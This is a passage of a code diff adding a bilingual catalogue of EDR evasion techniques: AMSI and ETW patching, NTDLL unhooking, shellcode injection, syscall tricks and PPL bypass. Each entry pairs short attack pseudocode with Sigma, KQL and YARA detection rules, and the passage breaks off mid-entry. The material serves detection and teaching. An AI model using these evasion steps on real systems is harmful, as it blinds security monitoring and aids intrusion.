"fr": "Modifie la fonction AmsiScanBuffer en m\u00e9moire pour emp\u00eacher l\u2019analyse des scripts par AMSI.",
|
| 108 |
+
},
|
| 109 |
+
"pseudocode": (
|
| 110 |
+
"# Educational pseudocode only\n"
|
| 111 |
+
"addr = GetProcAddress(amsi_dll, 'AmsiScanBuffer')\n"
|
| 112 |
+
"VirtualProtect(addr, size, PAGE_READWRITE)\n"
|
| 113 |
+
"WriteMemory(addr, patch_bytes) # returns AMSI_RESULT_CLEAN\n"
|
| 114 |
+
"VirtualProtect(addr, size, old_protect)"
|
| 115 |
+
),
|
| 116 |
+
"detection": {
|
| 117 |
+
"en": "Monitor for suspicious memory writes to amsi.dll. Sysmon Event ID 7 (Image Loaded) and memory protection changes.",
|
| 118 |
+
"fr": "Surveiller les \u00e9critures m\u00e9moire suspectes dans amsi.dll. Sysmon Event ID 7 et changements de protection m\u00e9moire.",
|
| 119 |
+
},
|
| 120 |
+
"countermeasure": {
|
| 121 |
+
"en": "Enable hardware-based AMSI protection, use ETW tracing for AMSI events, deploy integrity monitoring.",
|
| 122 |
+
"fr": "Activer la protection AMSI mat\u00e9rielle, utiliser le tra\u00e7age ETW pour les \u00e9v\u00e9nements AMSI.",
|
| 123 |
+
},
|
| 124 |
+
"sysmon": "7, 10, 13",
|
| 125 |
+
"kql": (
|
| 126 |
+
'DeviceEvents\n| where ActionType == "AmsiDetection"\n'
|
| 127 |
+
'| where FileName endswith "amsi.dll"\n| project Timestamp, DeviceName, InitiatingProcessFileName'
|
| 128 |
+
),
|
| 129 |
+
"sigma": (
|
| 130 |
+
"title: AMSI Bypass Attempt\nstatus: experimental\n"
|
| 131 |
+
"logsource:\n product: windows\n category: process_creation\n"
|
| 132 |
+
"detection:\n selection:\n CommandLine|contains:\n"
|
| 133 |
+
' - "AmsiScanBuffer"\n - "amsiInitFailed"\n'
|
| 134 |
+
" condition: selection\nlevel: high"
|
| 135 |
+
),
|
| 136 |
+
"yara": (
|
| 137 |
+
'rule AMSI_Bypass {\n strings:\n $a = "AmsiScanBuffer" ascii wide\n'
|
| 138 |
+
' $b = "amsiInitFailed" ascii wide\n'
|
| 139 |
+
' $c = { 48 8B 05 ?? ?? ?? ?? 48 85 C0 74 }\n'
|
| 140 |
+
" condition:\n 2 of them\n}"
|
| 141 |
+
),
|
| 142 |
+
"edr_config": {
|
| 143 |
+
"en": "Enable AMSI integration, script block logging, and memory tamper protection. Configure real-time ETW consumers.",
|
| 144 |
+
"fr": "Activer l\u2019int\u00e9gration AMSI, la journalisation des blocs de scripts et la protection contre la falsification m\u00e9moire.",
|
| 145 |
+
},
|
| 146 |
+
},
|
| 147 |
+
{
|
| 148 |
+
"id": "etw-patching",
|
| 149 |
+
"category": "Memory Evasion",
|
| 150 |
+
"name": {"en": "ETW Patching", "fr": "Modification ETW"},
|
| 151 |
+
"difficulty": "Hard",
|
| 152 |
+
"mitre": "T1562.001 - Disable or Modify Tools",
|
| 153 |
+
"desc": {
|
| 154 |
+
"en": "Patches ETW (Event Tracing for Windows) functions to blind security telemetry providers.",
|
| 155 |
+
"fr": "Modifie les fonctions ETW pour aveugler les fournisseurs de t\u00e9l\u00e9m\u00e9trie de s\u00e9curit\u00e9.",
|
| 156 |
+
},
|
| 157 |
+
"pseudocode": (
|
| 158 |
+
"# Educational pseudocode\n"
|
| 159 |
+
"addr = GetProcAddress(ntdll, 'EtwEventWrite')\n"
|
| 160 |
+
"VirtualProtect(addr, 1, PAGE_READWRITE)\n"
|
| 161 |
+
"WriteMemory(addr, RET_OPCODE) # function returns immediately"
|
| 162 |
+
),
|
| 163 |
+
"detection": {
|
| 164 |
+
"en": "Monitor for patches to ntdll!EtwEventWrite. Use kernel-mode ETW consumers that are harder to disable.",
|
| 165 |
+
"fr": "Surveiller les modifications de ntdll!EtwEventWrite. Utiliser des consommateurs ETW en mode noyau.",
|
| 166 |
+
},
|
| 167 |
+
"countermeasure": {
|
| 168 |
+
"en": "Kernel-level ETW monitoring, periodic ntdll integrity checks, protected process light (PPL) for ETW service.",
|
| 169 |
+
"fr": "Surveillance ETW au niveau noyau, v\u00e9rifications p\u00e9riodiques de l\u2019int\u00e9grit\u00e9 de ntdll.",
|
| 170 |
+
},
|
| 171 |
+
"sysmon": "7, 10",
|
| 172 |
+
"kql": (
|
| 173 |
+
'DeviceEvents\n| where ActionType == "NtdllTamper"\n'
|
| 174 |
+
"| project Timestamp, DeviceName, InitiatingProcessFileName"
|
| 175 |
+
),
|
| 176 |
+
"sigma": (
|
| 177 |
+
"title: ETW Patching Detected\nstatus: experimental\n"
|
| 178 |
+
"logsource:\n product: windows\n category: process_access\n"
|
| 179 |
+
"detection:\n selection:\n TargetImage|endswith: '\\\\ntdll.dll'\n"
|
| 180 |
+
" GrantedAccess|contains: '0x40'\n condition: selection\nlevel: critical"
|
| 181 |
+
),
|
| 182 |
+
"yara": (
|
| 183 |
+
'rule ETW_Patch {\n strings:\n $a = "EtwEventWrite" ascii wide\n'
|
| 184 |
+
" $ret = { C3 } // RET opcode\n"
|
| 185 |
+
" condition:\n $a and #ret > 5\n}"
|
| 186 |
+
),
|
| 187 |
+
"edr_config": {
|
| 188 |
+
"en": "Enable tamper protection for ETW providers, use kernel callbacks for telemetry, implement ntdll integrity monitoring.",
|
| 189 |
+
"fr": "Activer la protection anti-falsification pour les fournisseurs ETW, utiliser des callbacks noyau.",
|
| 190 |
+
},
|
| 191 |
+
},
|
| 192 |
+
{
|
| 193 |
+
"id": "ntdll-unhooking",
|
| 194 |
+
"category": "Memory Evasion",
|
| 195 |
+
"name": {"en": "NTDLL Unhooking", "fr": "D\u00e9crochage NTDLL"},
|
| 196 |
+
"difficulty": "Hard",
|
| 197 |
+
"mitre": "T1562.001 - Disable or Modify Tools",
|
| 198 |
+
"desc": {
|
| 199 |
+
"en": "Replaces hooked ntdll.dll with a clean copy from disk to remove EDR inline hooks.",
|
| 200 |
+
"fr": "Remplace ntdll.dll modifi\u00e9 par une copie propre depuis le disque pour supprimer les hooks EDR.",
|
| 201 |
+
},
|
| 202 |
+
"pseudocode": (
|
| 203 |
+
"# Educational pseudocode\n"
|
| 204 |
+
"clean_ntdll = ReadFile('C:\\\\Windows\\\\System32\\\\ntdll.dll')\n"
|
| 205 |
+
"current_ntdll = GetModuleHandle('ntdll.dll')\n"
|
| 206 |
+
"# Map .text section from clean copy over hooked version\n"
|
| 207 |
+
"WriteProcessMemory(current_ntdll.text, clean_ntdll.text)"
|
| 208 |
+
),
|
| 209 |
+
"detection": {
|
| 210 |
+
"en": "Monitor file reads of ntdll.dll from disk, detect .text section overwrites via kernel callbacks.",
|
| 211 |
+
"fr": "Surveiller les lectures de ntdll.dll depuis le disque, d\u00e9tecter les r\u00e9\u00e9critures de la section .text.",
|
| 212 |
+
},
|
| 213 |
+
"countermeasure": {
|
| 214 |
+
"en": "Use kernel-level hooks instead of userland, implement hook integrity verification, deploy minifilter drivers.",
|
| 215 |
+
"fr": "Utiliser des hooks au niveau noyau, impl\u00e9menter la v\u00e9rification d\u2019int\u00e9grit\u00e9 des hooks.",
|
| 216 |
+
},
|
| 217 |
+
"sysmon": "7, 10, 11",
|
| 218 |
+
"kql": (
|
| 219 |
+
'DeviceFileEvents\n| where FileName == "ntdll.dll"\n'
|
| 220 |
+
'| where ActionType == "FileRead"\n| project Timestamp, DeviceName, InitiatingProcessFileName'
|
| 221 |
+
),
|
| 222 |
+
"sigma": (
|
| 223 |
+
"title: NTDLL Unhooking via File Read\nstatus: experimental\n"
|
| 224 |
+
"logsource:\n product: windows\n category: file_access\n"
|
| 225 |
+
"detection:\n selection:\n TargetFilename|endswith: '\\\\ntdll.dll'\n"
|
| 226 |
+
" condition: selection\nlevel: high"
|
| 227 |
+
),
|
| 228 |
+
"yara": (
|
| 229 |
+
'rule NTDLL_Unhooking {\n strings:\n $a = "ntdll.dll" ascii wide\n'
|
| 230 |
+
' $b = "NtProtectVirtualMemory" ascii\n'
|
| 231 |
+
' $c = ".text" ascii\n'
|
| 232 |
+
" condition:\n all of them\n}"
|
| 233 |
+
),
|
| 234 |
+
"edr_config": {
|
| 235 |
+
"en": "Deploy kernel-mode hooks, enable minifilter for ntdll.dll access monitoring, use PPL for EDR agent.",
|
| 236 |
+
"fr": "D\u00e9ployer des hooks en mode noyau, activer le minifiltre pour surveiller les acc\u00e8s \u00e0 ntdll.dll.",
|
| 237 |
+
},
|
| 238 |
+
},
|
| 239 |
+
{
|
| 240 |
+
"id": "shellcode-injection",
|
| 241 |
+
"category": "Memory Evasion",
|
| 242 |
+
"name": {"en": "Shellcode Injection", "fr": "Injection de Shellcode"},
|
| 243 |
+
"difficulty": "Medium",
|
| 244 |
+
"mitre": "T1055.001 - Process Injection: DLL Injection",
|
| 245 |
+
"desc": {
|
| 246 |
+
"en": "Allocates memory in a remote process and injects shellcode for execution.",
|
| 247 |
+
"fr": "Alloue de la m\u00e9moire dans un processus distant et injecte du shellcode pour ex\u00e9cution.",
|
| 248 |
+
},
|
| 249 |
+
"pseudocode": (
|
| 250 |
+
"# Educational pseudocode\n"
|
| 251 |
+
"hProcess = OpenProcess(target_pid)\n"
|
| 252 |
+
"addr = VirtualAllocEx(hProcess, MEM_COMMIT, PAGE_RWX)\n"
|
| 253 |
+
"WriteProcessMemory(hProcess, addr, shellcode)\n"
|
| 254 |
+
"CreateRemoteThread(hProcess, addr)"
|
| 255 |
+
),
|
| 256 |
+
"detection": {
|
| 257 |
+
"en": "Monitor VirtualAllocEx with RWX permissions, cross-process WriteProcessMemory, and CreateRemoteThread calls.",
|
| 258 |
+
"fr": "Surveiller VirtualAllocEx avec permissions RWX, WriteProcessMemory inter-processus et CreateRemoteThread.",
|
| 259 |
+
},
|
| 260 |
+
"countermeasure": {
|
| 261 |
+
"en": "Enable CIG (Code Integrity Guard), enforce W^X policy, monitor cross-process memory operations.",
|
| 262 |
+
"fr": "Activer CIG, appliquer la politique W^X, surveiller les op\u00e9rations m\u00e9moire inter-processus.",
|
| 263 |
+
},
|
| 264 |
+
"sysmon": "1, 8, 10",
|
| 265 |
+
"kql": (
|
| 266 |
+
"DeviceEvents\n| where ActionType in ('CreateRemoteThreadApiCall', 'QueueUserApcRemoteApiCall')\n"
|
| 267 |
+
"| project Timestamp, DeviceName, InitiatingProcessFileName, FileName"
|
| 268 |
+
),
|
| 269 |
+
"sigma": (
|
| 270 |
+
"title: Remote Shellcode Injection\nstatus: experimental\n"
|
| 271 |
+
"logsource:\n product: windows\n category: create_remote_thread\n"
|
| 272 |
+
"detection:\n selection:\n EventID: 8\n"
|
| 273 |
+
" filter:\n SourceImage|endswith: '\\\\svchost.exe'\n"
|
| 274 |
+
" condition: selection and not filter\nlevel: high"
|
| 275 |
+
),
|
| 276 |
+
"yara": (
|
| 277 |
+
"rule Shellcode_Injection {\n strings:\n"
|
| 278 |
+
' $api1 = "VirtualAllocEx" ascii\n $api2 = "WriteProcessMemory" ascii\n'
|
| 279 |
+
' $api3 = "CreateRemoteThread" ascii\n'
|
| 280 |
+
" condition:\n all of them\n}"
|
| 281 |
+
),
|
| 282 |
+
"edr_config": {
|
| 283 |
+
"en": "Enable memory injection detection, configure CIG policies, implement stack call verification.",
|
| 284 |
+
"fr": "Activer la d\u00e9tection d\u2019injection m\u00e9moire, configurer les politiques CIG.",
|
| 285 |
+
},
|
| 286 |
+
},
|
| 287 |
+
{
|
| 288 |
+
"id": "module-stomping",
|
| 289 |
+
"category": "Memory Evasion",
|
| 290 |
+
"name": {"en": "Module Stomping", "fr": "\u00c9crasement de Module"},
|
| 291 |
+
"difficulty": "Expert",
|
| 292 |
+
"mitre": "T1055.001 - Process Injection: DLL Injection",
|
| 293 |
+
"desc": {
|
| 294 |
+
"en": "Loads a legitimate DLL then overwrites its .text section with malicious code to hide in a signed module.",
|
| 295 |
+
"fr": "Charge une DLL l\u00e9gitime puis \u00e9crase sa section .text avec du code malveillant pour se cacher dans un module sign\u00e9.",
|
| 296 |
+
},
|
| 297 |
+
"pseudocode": (
|
| 298 |
+
"# Educational pseudocode\n"
|
| 299 |
+
"hModule = LoadLibrary('legitimate.dll')\n"
|
| 300 |
+
"text_addr = GetSectionAddress(hModule, '.text')\n"
|
| 301 |
+
"VirtualProtect(text_addr, size, PAGE_RWX)\n"
|
| 302 |
+
"memcpy(text_addr, malicious_code, size)"
|
| 303 |
+
),
|
| 304 |
+
"detection": {
|
| 305 |
+
"en": "Compare in-memory module against on-disk version. Monitor for RWX permission changes on signed DLLs.",
|
| 306 |
+
"fr": "Comparer le module en m\u00e9moire avec la version sur disque. Surveiller les changements RWX sur les DLL sign\u00e9es.",
|
| 307 |
+
},
|
| 308 |
+
"countermeasure": {
|
| 309 |
+
"en": "Memory integrity scanning, signed code enforcement, periodic module hash verification.",
|
| 310 |
+
"fr": "Analyse d\u2019int\u00e9grit\u00e9 m\u00e9moire, application de code sign\u00e9, v\u00e9rification p\u00e9riodique des hachages de modules.",
|
| 311 |
+
},
|
| 312 |
+
"sysmon": "7, 10, 25",
|
| 313 |
+
"kql": (
|
| 314 |
+
"DeviceImageLoadEvents\n| where FileName endswith '.dll'\n"
|
| 315 |
+
"| where InitiatingProcessFileName !in ('svchost.exe','explorer.exe')\n"
|
| 316 |
+
"| project Timestamp, DeviceName, FileName, InitiatingProcessFileName"
|
| 317 |
+
),
|
| 318 |
+
"sigma": (
|
| 319 |
+
"title: Module Stomping Detection\nstatus: experimental\n"
|
| 320 |
+
"logsource:\n product: windows\n category: image_load\n"
|
| 321 |
+
"detection:\n selection:\n ImageLoaded|endswith: '.dll'\n"
|
| 322 |
+
" filter:\n Image|endswith:\n - '\\\\svchost.exe'\n - '\\\\explorer.exe'\n"
|
| 323 |
+
" condition: selection and not filter\nlevel: medium"
|
| 324 |
+
),
|
| 325 |
+
"yara": (
|
| 326 |
+
"rule Module_Stomping {\n strings:\n"
|
| 327 |
+
' $s1 = ".text" ascii\n $s2 = "VirtualProtect" ascii\n'
|
| 328 |
+
' $s3 = "LoadLibrary" ascii\n'
|
| 329 |
+
" condition:\n all of them and filesize < 500KB\n}"
|
| 330 |
+
),
|
| 331 |
+
"edr_config": {
|
| 332 |
+
"en": "Enable in-memory scanning, enforce code signing for loaded modules, implement periodic integrity checks.",
|
| 333 |
+
"fr": "Activer l\u2019analyse en m\u00e9moire, appliquer la signature de code pour les modules charg\u00e9s.",
|
| 334 |
+
},
|
| 335 |
+
},
|
| 336 |
+
# ---- Direct Syscalls ----
|
| 337 |
+
{
|
| 338 |
+
"id": "syswhispers",
|
| 339 |
+
"category": "Direct Syscalls",
|
| 340 |
+
"name": {"en": "SysWhispers", "fr": "SysWhispers"},
|
| 341 |
+
"difficulty": "Hard",
|
| 342 |
+
"mitre": "T1106 - Native API",
|
| 343 |
+
"desc": {
|
| 344 |
+
"en": "Generates syscall stubs to call NT functions directly, bypassing userland API hooks placed by EDR.",
|
| 345 |
+
"fr": "G\u00e9n\u00e8re des stubs de syscall pour appeler directement les fonctions NT, contournant les hooks API de l\u2019EDR.",
|
| 346 |
+
},
|
| 347 |
+
"pseudocode": (
|
| 348 |
+
"# Educational pseudocode\n"
|
| 349 |
+
"# SysWhispers generates assembly stubs\n"
|
| 350 |
+
"mov r10, rcx\n"
|
| 351 |
+
"mov eax, SYSCALL_NUMBER # e.g. NtAllocateVirtualMemory\n"
|
| 352 |
+
"syscall\n"
|
| 353 |
+
"ret"
|
| 354 |
+
),
|
| 355 |
+
"detection": {
|
| 356 |
+
"en": "Monitor for syscall instructions from non-ntdll memory regions. Kernel-level telemetry via ETW Threat Intelligence.",
|
| 357 |
+
"fr": "Surveiller les instructions syscall depuis des r\u00e9gions m\u00e9moire hors ntdll. T\u00e9l\u00e9m\u00e9trie noyau via ETW Threat Intelligence.",
|
| 358 |
+
},
|
| 359 |
+
"countermeasure": {
|
| 360 |
+
"en": "Use kernel-mode callbacks, ETW TI provider, stack trace validation to detect non-standard syscall origins.",
|
| 361 |
+
"fr": "Utiliser des callbacks en mode noyau, le fournisseur ETW TI, la validation de pile d\u2019appels.",
|
| 362 |
+
},
|
| 363 |
+
"sysmon": "10, 25",
|
| 364 |
+
"kql": (
|
| 365 |
+
"DeviceEvents\n| where ActionType == 'NtAllocateVirtualMemory'\n"
|
| 366 |
+
"| where InitiatingProcessFileName !in ('svchost.exe')\n"
|
| 367 |
+
"| project Timestamp, DeviceName, ActionType"
|
| 368 |
+
),
|
| 369 |
+
"sigma": (
|
| 370 |
+
"title: Direct Syscall Detection\nstatus: experimental\n"
|
| 371 |
+
"logsource:\n product: windows\n category: process_access\n"
|
| 372 |
+
"detection:\n selection:\n CallTrace|contains: 'UNKNOWN'\n"
|
| 373 |
+
" condition: selection\nlevel: critical"
|
| 374 |
+
),
|
| 375 |
+
"yara": (
|
| 376 |
+
"rule SysWhispers {\n strings:\n"
|
| 377 |
+
" $stub = { 4C 8B D1 B8 ?? ?? 00 00 0F 05 C3 }\n"
|
| 378 |
+
' $str = "NtAllocateVirtualMemory" ascii\n'
|
| 379 |
+
" condition:\n $stub or $str\n}"
|
| 380 |
+
),
|
| 381 |
+
"edr_config": {
|
| 382 |
+
"en": "Enable ETW Threat Intelligence provider, implement kernel-level syscall monitoring, use stack walk verification.",
|
| 383 |
+
"fr": "Activer le fournisseur ETW Threat Intelligence, impl\u00e9menter la surveillance des syscalls au niveau noyau.",
|
| 384 |
+
},
|
| 385 |
+
},
|
| 386 |
+
{
|
| 387 |
+
"id": "hellsgate",
|
| 388 |
+
"category": "Direct Syscalls",
|
| 389 |
+
"name": {"en": "HellsGate", "fr": "HellsGate"},
|
| 390 |
+
"difficulty": "Expert",
|
| 391 |
+
"mitre": "T1106 - Native API",
|
| 392 |
+
"desc": {
|
| 393 |
+
"en": "Dynamically resolves syscall numbers at runtime by parsing ntdll.dll in memory, avoiding hardcoded values.",
|
| 394 |
+
"fr": "R\u00e9sout dynamiquement les num\u00e9ros de syscall en analysant ntdll.dll en m\u00e9moire.",
|
| 395 |
+
},
|
| 396 |
+
"pseudocode": (
|
| 397 |
+
"# Educational pseudocode\n"
|
| 398 |
+
"ntdll_base = GetModuleHandle('ntdll.dll')\n"
|
| 399 |
+
"for each export in ntdll_base.exports:\n"
|
| 400 |
+
" if export starts with 'Zw':\n"
|
| 401 |
+
" syscall_num = read_bytes(export + 4, 4)\n"
|
| 402 |
+
" store(function_name, syscall_num)"
|
| 403 |
+
),
|
| 404 |
+
"detection": {
|
| 405 |
+
"en": "Detect ntdll export table enumeration from unexpected processes. Monitor for syscall instruction outside ntdll.",
|
| 406 |
+
"fr": "D\u00e9tecter l\u2019\u00e9num\u00e9ration de la table d\u2019exports ntdll depuis des processus inattendus.",
|
| 407 |
+
},
|
| 408 |
+
"countermeasure": {
|
| 409 |
+
"en": "Kernel-level ETW, call stack analysis, behavioral detection of syscall resolution patterns.",
|
| 410 |
+
"fr": "ETW au niveau noyau, analyse de pile d\u2019appels, d\u00e9tection comportementale.",
|
| 411 |
+
},
|
| 412 |
+
"sysmon": "10, 7",
|
| 413 |
+
"kql": (
|
| 414 |
+
"DeviceEvents\n| where ActionType == 'NtApiCall'\n"
|
| 415 |
+
"| where AdditionalFields contains 'non-ntdll'\n| project Timestamp, DeviceName"
|
| 416 |
+
),
|
| 417 |
+
"sigma": (
|
| 418 |
+
"title: HellsGate Syscall Resolution\nstatus: experimental\n"
|
| 419 |
+
"logsource:\n product: windows\n category: process_access\n"
|
| 420 |
+
"detection:\n selection:\n CallTrace|contains: 'UNKNOWN'\n GrantedAccess: '0x1F0FFF'\n"
|
| 421 |
+
" condition: selection\nlevel: critical"
|
| 422 |
+
),
|
| 423 |
+
"yara": (
|
| 424 |
+
"rule HellsGate {\n strings:\n"
|
| 425 |
+
" $pattern = { 4C 8B D1 B8 ?? ?? 00 00 }\n"
|
| 426 |
+
' $zw = "Zw" ascii\n'
|
| 427 |
+
" condition:\n $pattern and #zw > 10\n}"
|
| 428 |
+
),
|
| 429 |
+
"edr_config": {
|
| 430 |
+
"en": "Deploy ETW Threat Intelligence, kernel callbacks for process/thread operations, tamper protection.",
|
| 431 |
+
"fr": "D\u00e9ployer ETW Threat Intelligence, callbacks noyau pour les op\u00e9rations de processus/threads.",
|
| 432 |
+
},
|
| 433 |
+
},
|
| 434 |
+
{
|
| 435 |
+
"id": "halosgate",
|
| 436 |
+
"category": "Direct Syscalls",
|
| 437 |
+
"name": {"en": "HalosGate", "fr": "HalosGate"},
|
| 438 |
+
"difficulty": "Expert",
|
| 439 |
+
"mitre": "T1106 - Native API",
|
| 440 |
+
"desc": {
|
| 441 |
+
"en": "Extension of HellsGate that detects and bypasses EDR hooks by checking neighboring syscall stubs.",
|
| 442 |
+
"fr": "Extension de HellsGate qui d\u00e9tecte et contourne les hooks EDR en v\u00e9rifiant les stubs voisins.",
|
| 443 |
+
},
|
| 444 |
+
"pseudocode": (
|
| 445 |
+
"# Educational pseudocode\n"
|
| 446 |
+
"for func in ntdll_exports:\n"
|
| 447 |
+
" if is_hooked(func): # JMP instruction detected\n"
|
| 448 |
+
" neighbor = get_neighbor_syscall(func)\n"
|
| 449 |
+
" syscall_num = neighbor.number +/- offset\n"
|
| 450 |
+
" # Use calculated syscall number"
|
| 451 |
+
),
|
| 452 |
+
"detection": {
|
| 453 |
+
"en": "Same as HellsGate plus monitoring for sequential ntdll export enumeration patterns.",
|
| 454 |
+
"fr": "Identique \u00e0 HellsGate plus surveillance des sch\u00e9mas d\u2019\u00e9num\u00e9ration s\u00e9quentielle des exports ntdll.",
|
| 455 |
+
},
|
| 456 |
+
"countermeasure": {
|
| 457 |
+
"en": "Hardware breakpoints on syscall instruction, kernel telemetry, call stack validation.",
|
| 458 |
+
"fr": "Points d\u2019arr\u00eat mat\u00e9riels sur l\u2019instruction syscall, t\u00e9l\u00e9m\u00e9trie noyau, validation de pile d\u2019appels.",
|
| 459 |
+
},
|
| 460 |
+
"sysmon": "10, 7",
|
| 461 |
+
"kql": (
|
| 462 |
+
"DeviceEvents\n| where ActionType in ('NtApiCall','ProcessAccess')\n"
|
| 463 |
+
"| where AdditionalFields contains 'hook_bypass'\n| project Timestamp, DeviceName"
|
| 464 |
+
),
|
| 465 |
+
"sigma": (
|
| 466 |
+
"title: HalosGate Hook Bypass\nstatus: experimental\n"
|
| 467 |
+
"logsource:\n product: windows\n category: process_access\n"
|
| 468 |
+
"detection:\n selection:\n CallTrace|contains: 'UNKNOWN'\n"
|
| 469 |
+
" condition: selection\nlevel: critical"
|
| 470 |
+
),
|
| 471 |
+
"yara": (
|
| 472 |
+
"rule HalosGate {\n strings:\n"
|
| 473 |
+
" $hook_check = { E9 ?? ?? ?? ?? } // JMP hook signature\n"
|
| 474 |
+
" $syscall = { 0F 05 C3 }\n"
|
| 475 |
+
" condition:\n $hook_check and $syscall\n}"
|
| 476 |
+
),
|
| 477 |
+
"edr_config": {
|
| 478 |
+
"en": "Layer kernel and userland monitoring, deploy hardware breakpoints, use PPL for critical processes.",
|
| 479 |
+
"fr": "Superposer la surveillance noyau et utilisateur, d\u00e9ployer des points d\u2019arr\u00eat mat\u00e9riels.",
|
| 480 |
+
},
|
| 481 |
+
},
|
| 482 |
+
{
|
| 483 |
+
"id": "indirect-syscalls",
|
| 484 |
+
"category": "Direct Syscalls",
|
| 485 |
+
"name": {"en": "Indirect Syscalls", "fr": "Syscalls Indirects"},
|
| 486 |
+
"difficulty": "Expert",
|
| 487 |
+
"mitre": "T1106 - Native API",
|
| 488 |
+
"desc": {
|
| 489 |
+
"en": "Executes the syscall instruction from within ntdll memory to avoid detection of syscalls from unusual regions.",
|
| 490 |
+
"fr": "Ex\u00e9cute l\u2019instruction syscall depuis la m\u00e9moire ntdll pour \u00e9viter la d\u00e9tection de syscalls depuis des r\u00e9gions inhabituelles.",
|
| 491 |
+
},
|
| 492 |
+
"pseudocode": (
|
| 493 |
+
"# Educational pseudocode\n"
|
| 494 |
+
"syscall_addr = find_syscall_instruction_in_ntdll()\n"
|
| 495 |
+
"set_registers(args) # prepare arguments\n"
|
| 496 |
+
"jmp syscall_addr # jump into ntdll for the syscall"
|
| 497 |
+
),
|
| 498 |
+
"detection": {
|
| 499 |
+
"en": "Stack frame analysis showing preparation outside ntdll before jumping into ntdll for syscall execution.",
|
| 500 |
+
"fr": "Analyse de la pile montrant une pr\u00e9paration hors ntdll avant un saut dans ntdll pour le syscall.",
|
| 501 |
+
},
|
| 502 |
+
"countermeasure": {
|
| 503 |
+
"en": "Full stack walk analysis, return address validation, ETW Threat Intelligence kernel provider.",
|
| 504 |
+
"fr": "Analyse compl\u00e8te de la pile d\u2019appels, validation des adresses de retour, fournisseur ETW TI noyau.",
|
| 505 |
+
},
|
| 506 |
+
"sysmon": "10",
|
| 507 |
+
"kql": (
|
| 508 |
+
"DeviceEvents\n| where ActionType == 'SyscallFromUnexpectedRegion'\n"
|
| 509 |
+
"| project Timestamp, DeviceName, InitiatingProcessFileName"
|
| 510 |
+
),
|
| 511 |
+
"sigma": (
|
| 512 |
+
"title: Indirect Syscall Detection\nstatus: experimental\n"
|
| 513 |
+
"logsource:\n product: windows\n category: process_access\n"
|
| 514 |
+
"detection:\n selection:\n CallTrace|re: '.*ntdll\\.dll\\+0x.*UNKNOWN.*'\n"
|
| 515 |
+
" condition: selection\nlevel: critical"
|
| 516 |
+
),
|
| 517 |
+
"yara": (
|
| 518 |
+
"rule Indirect_Syscalls {\n strings:\n"
|
| 519 |
+
" $jmp_ntdll = { FF 25 ?? ?? ?? ?? } // JMP to ntdll\n"
|
| 520 |
+
' $ntdll = "ntdll" ascii wide\n'
|
| 521 |
+
" condition:\n all of them\n}"
|
| 522 |
+
),
|
| 523 |
+
"edr_config": {
|
| 524 |
+
"en": "ETW TI + kernel callbacks + full call stack analysis with return address validation.",
|
| 525 |
+
"fr": "ETW TI + callbacks noyau + analyse compl\u00e8te de la pile avec validation des adresses de retour.",
|
| 526 |
+
},
|
| 527 |
+
},
|
| 528 |
+
# ---- EDR Agent Tampering ----
|
| 529 |
+
{
|
| 530 |
+
"id": "ppl-bypass",
|
| 531 |
+
"category": "EDR Agent Tampering",
|
| 532 |
+
"name": {"en": "PPL Bypass", "fr": "Contournement PPL"},
|
| 533 |
+
"difficulty": "Expert",
|
| 534 |
+
"mitre": "T1562.001 - Disable or Modify Tools",
|
| 535 |
+
"desc": {
|
| 536 |
+
"en": "Exploits vulnerabilities to bypass Protected Process Light, allowing access to protected EDR processes.",
|
| 537 |
+
"fr": "Exploite des vuln\u00e9rabilit\u00e9s pour contourner Protected Process Light et acc\u00e9der aux processus EDR prot\u00e9g\u00e9s.",
|
| 538 |
+
},
|
| 539 |
+
"pseudocode": (
|
| 540 |
+
"# Educational pseudocode\n"
|
| 541 |
+
"# Load vulnerable signed driver\n"
|
| 542 |
+
"driver = LoadDriver('vulnerable_signed.sys')\n"
|
| 543 |
+
"# Use driver to modify EPROCESS.Protection\n"
|
| 544 |
+
"eprocess = GetEPROCESS(target_pid)\n"
|
| 545 |
+
"WriteKernelMemory(eprocess.Protection, 0x00)"
|
| 546 |
+
),
|
| 547 |
+
"detection": {
|
| 548 |
+
"en": "Monitor driver loading events, detect EPROCESS modification, watch for known vulnerable drivers.",
|
| 549 |
+
"fr": "Surveiller les chargements de pilotes, d\u00e9tecter la modification EPROCESS, identifier les pilotes vuln\u00e9rables.",
|
| 550 |
+
},
|
| 551 |
+
"countermeasure": {
|
| 552 |
+
"en": "HVCI enforcement, vulnerable driver blocklist, Secure Boot, kernel patch protection.",
|
| 553 |
+
"fr": "Application HVCI, liste de blocage des pilotes vuln\u00e9rables, Secure Boot, protection des correctifs noyau.",
|
| 554 |
+
},
|
| 555 |
+
"sysmon": "6, 13, 10",
|
| 556 |
+
"kql": (
|
| 557 |
+
"DeviceEvents\n| where ActionType == 'DriverLoad'\n"
|
| 558 |
+
"| where FileName in (known_vulnerable_drivers)\n| project Timestamp, DeviceName, FileName"
|
| 559 |
+
),
|
| 560 |
+
"sigma": (
|
| 561 |
+
"title: Vulnerable Driver Loading for PPL Bypass\nstatus: experimental\n"
|
| 562 |
+
"logsource:\n product: windows\n category: driver_load\n"
|
| 563 |
+
"detection:\n selection:\n Hashes|contains:\n"
|
| 564 |
+
" - 'known_vuln_driver_hash_1'\n - 'known_vuln_driver_hash_2'\n"
|
| 565 |
+
" condition: selection\nlevel: critical"
|
| 566 |
+
),
|
| 567 |
+
"yara": (
|
| 568 |
+
"rule PPL_Bypass_Tool {\n strings:\n"
|
| 569 |
+
' $a = "EPROCESS" ascii\n $b = "Protection" ascii\n'
|
| 570 |
+
' $c = "NtLoadDriver" ascii\n'
|
| 571 |
+
" condition:\n all of them\n}"
|
| 572 |
+
),
|
| 573 |
+
"edr_config": {
|
| 574 |
+
"en": "Enable HVCI, configure vulnerable driver blocklist, enforce Secure Boot, deploy driver signing enforcement.",
|
| 575 |
+
"fr": "Activer HVCI, configurer la liste de blocage des pilotes vuln\u00e9rables, appliquer Secure Boot.",
|
| 576 |
+
},
|
| 577 |
+
},
|
| 578 |
+
{
|
| 579 |
+
"id": "minifilter-tampering",
|
| 580 |
+
"category": "EDR Agent Tampering",
|
| 581 |
+
"name": {"en": "Minifilter Tampering", "fr": "Falsification de Minifiltre"},
|
| 582 |
+
"difficulty": "Expert",
|
| 583 |
+
"mitre": "T1562.001 - Disable or Modify Tools",
|
| 584 |
+
"desc": {
|
| 585 |
+
"en": "Unloads or detaches EDR minifilter drivers to blind file system monitoring.",
|
| 586 |
+
"fr": "D\u00e9charge ou d\u00e9tache les pilotes minifiltre EDR pour aveugler la surveillance du syst\u00e8me de fichiers.",
|
| 587 |
+
},
|
| 588 |
+
"pseudocode": (
|
| 589 |
+
"# Educational pseudocode\n"
|
